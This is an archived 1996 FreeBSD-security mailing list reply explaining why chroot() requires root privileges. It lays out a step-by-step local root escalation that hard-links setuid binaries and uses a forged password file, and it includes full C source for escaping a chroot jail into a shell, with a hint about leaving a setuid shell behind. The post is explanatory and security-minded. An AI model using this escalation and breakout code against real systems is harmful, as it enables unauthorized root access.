Skip site navigation (1)Skip section navigation (2)
Date:      Mon, 9 Sep 1996 16:09:46 -0500 (CDT)
From:      Zach Heilig <zach@blizzard.gaffaneys.com>
To:        rkw@dataplex.net (Richard Wackerbarth)
Cc:        freebsd-security@freebsd.org
Subject:   Re: Question about chroot
Message-ID:  <199609092109.QAA04873@freebsd.gaffaneys.com>
In-Reply-To: <v02140b0bae5a10f1521b@[208.2.87.4]> from Richard Wackerbarth at "Sep 9, 96 01:26:21 pm"

next in thread | previous in thread | raw e-mail | index | archive | help
In a previous message, Richard Wackerbarth wrote:

>In looking at some of the "make" problems, I ran up against a
>characteristic of "chroot" that puzzles me.

>In order to chroot, you must be root. Why?

Basically, all you have to do to become root in a chroot() environment
is to hard-link the appropriate setuid executables into a publicly
writable directory (usually /usr/tmp), and build your own minimal
filesystem to use while in that environment.  You need the
/etc/master.passwd file (you create it yourself), /etc/group (to put
yourself in the wheel group), /usr/sbin/vipw (to rebuild the other
passwd files), /usr/bin/su (to gain root), /bin/sh, and any other file
utilities that you find you need in the course of the attack (probably
hard links to each of the lib*.so.* libraries, and ld/ldd).  You
should probably put the binaries in /bin (relative to the chroot()
root directory).  Breaking out of the chroot() environment after you
become root is trivial.  I have source here that works for FreeBSD:

#include <stdio.h>
#include <unistd.h>

int
main(void)
{
    int i;

    mkdir("break-out", 0755);
    chroot("./break-out");
    chdir(".");
    for (i = 0; i < 30; ++i) chdir("..");
    chroot(".");
    execl("/bin/sh", "sh" , (char *) 0);
    puts("exec failed!");
    return 1;
}

You compile this before calling chroot for /usr/tmp/wherever.  At this
point, the attacker would clean up his mess in /usr/tmp, and possibly
put a setuid shell in an accessible spot.

>It appears to me than the only thing that chroot does is to restrict the
>"visable" tree. It does not ADD anything that is not already there.

But the user can BEFORE running chroot.

>If that is the case, why wouldn't it be good enough for chroot to be suid
>root and allow any user to execute it?

>Am I overlooking some security hole?

Yes.

This is one reason it is bad to have a world-writable directory on the
same filesystem as the /usr filesystem.

-- 
Zach Heilig (zach@blizzard.gaffaneys.com) | ALL unsolicited commercial email
Support bacteria -- it's the              | is unwelcome.  I avoid dealing
only culture some people have!            | with companies that email ads.



Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?199609092109.QAA04873>